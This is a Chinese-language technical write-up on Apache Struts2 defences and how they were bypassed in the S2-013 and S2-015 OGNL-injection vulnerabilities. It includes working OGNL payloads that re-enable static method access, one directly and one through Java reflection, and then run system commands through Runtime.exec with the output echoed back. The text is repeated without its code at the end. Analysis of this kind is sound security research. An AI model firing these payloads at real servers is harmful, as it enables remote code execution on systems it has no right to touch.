浅谈struts2漏洞防护与绕过-上
字数 1089 2025-08-27 12:33:31

Struts2漏洞防护与绕过技术分析

一、Struts2漏洞概述

本文重点分析Struts2框架的安全防护机制及其绕过技术,而非单纯漏洞分析。研究版本范围与漏洞影响范围不完全对应,主要关注防护机制的演进。

二、S2-013漏洞分析

漏洞原理

  • 影响标签:<s:a><s:url>includeParams属性
  • 属性值:
    • none:不包含URL参数(默认)
    • get:仅包含GET参数
    • all:包含GET和POST参数
  • 漏洞触发:标签解析过程中OGNL表达式注入

利用条件

  • includeParams=all:可通过GET或POST触发
  • includeParams=get:仅能通过GET触发
  • includeParams=none:无法触发

关键防护机制

  • allowStaticMethodAccess默认为false,阻止静态方法调用
  • SecurityMemberAccess类(继承自DefaultMemberAccess)控制访问权限

防护机制实现

public class DefaultMemberAccess implements MemberAccess {
    public boolean allowPrivateAccess = false;
    public boolean allowProtectedAccess = false;
    public boolean allowPackageProtectedAccess = false;
    
    public DefaultMemberAccess(boolean allowAllAccess) {
        this(allowAllAccess, allowAllAccess, allowAllAccess);
    }
    
    public DefaultMemberAccess(boolean allowPrivateAccess, 
                             boolean allowProtectedAccess, 
                             boolean allowPackageProtectedAccess) {
        this.allowPrivateAccess = allowPrivateAccess;
        this.allowProtectedAccess = allowProtectedAccess;
        this.allowPackageProtectedAccess = allowPackageProtectedAccess;
    }
}

绕过方法

通过OGNL修改_memberAccessallowStaticMethodAccess属性:

${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}

三、S2-015漏洞分析

漏洞原理

  • 配置文件使用通配符*定义action
  • 动态解析跳转页面时注入OGNL表达式

示例配置:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

漏洞触发流程

  1. StrutsResultSupport.class处理跳转:
public void execute(ActionInvocation invocation) throws Exception {
    this.lastFinalLocation = this.conditionalParse(this.location, invocation);
    this.doExecute(this.lastFinalLocation, invocation);
}
  1. conditionalParse方法进行二次处理
  2. 经过格式处理后导致RCE

防护机制演进

  • Struts2-2.3.14.2版本修改:
    • allowStaticMethodAccess添加final修饰符
    • 删除setAllowStaticMethodAccess方法

绕过方法

利用反射机制操作私有域和方法:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

简化版(因xwork.MethodAccessor.denyMethodExecution默认为false):

${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#f.setAccessible(true),
#f.set(#_memberAccess,true),
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

四、防护与绕过技术总结

  1. 早期版本绕过

    • 直接修改_memberAccessallowStaticMethodAccess属性
  2. 后期版本防护

    • 使用final修饰关键属性
    • 移除setter方法
  3. 高级绕过技术

    • 利用Java反射机制突破final限制
    • 操作私有字段和方法
  4. 回显构造

    • 使用IOUtils.toString获取命令执行结果

五、参考资源

  1. Seebug Paper 794
  2. Anquanke Post
  3. Semmle OGNL分析
  4. RickGray Struts2漏洞回顾
  5. Java反射机制
Struts2漏洞防护与绕过技术分析 一、Struts2漏洞概述 本文重点分析Struts2框架的安全防护机制及其绕过技术,而非单纯漏洞分析。研究版本范围与漏洞影响范围不完全对应,主要关注防护机制的演进。 二、S2-013漏洞分析 漏洞原理 影响标签: <s:a> 和 <s:url> 的 includeParams 属性 属性值: none :不包含URL参数(默认) get :仅包含GET参数 all :包含GET和POST参数 漏洞触发:标签解析过程中OGNL表达式注入 利用条件 includeParams=all :可通过GET或POST触发 includeParams=get :仅能通过GET触发 includeParams=none :无法触发 关键防护机制 allowStaticMethodAccess 默认为false,阻止静态方法调用 由 SecurityMemberAccess 类(继承自 DefaultMemberAccess )控制访问权限 防护机制实现 绕过方法 通过OGNL修改 _memberAccess 的 allowStaticMethodAccess 属性: 三、S2-015漏洞分析 漏洞原理 配置文件使用通配符 * 定义action 动态解析跳转页面时注入OGNL表达式 示例配置: 漏洞触发流程 StrutsResultSupport.class 处理跳转: conditionalParse 方法进行二次处理 经过格式处理后导致RCE 防护机制演进 Struts2-2.3.14.2版本修改: 为 allowStaticMethodAccess 添加 final 修饰符 删除 setAllowStaticMethodAccess 方法 绕过方法 利用反射机制操作私有域和方法: 简化版(因 xwork.MethodAccessor.denyMethodExecution 默认为false): 四、防护与绕过技术总结 早期版本绕过 : 直接修改 _memberAccess 的 allowStaticMethodAccess 属性 后期版本防护 : 使用 final 修饰关键属性 移除setter方法 高级绕过技术 : 利用Java反射机制突破 final 限制 操作私有字段和方法 回显构造 : 使用 IOUtils.toString 获取命令执行结果 五、参考资源 Seebug Paper 794 Anquanke Post Semmle OGNL分析 RickGray Struts2漏洞回顾 Java反射机制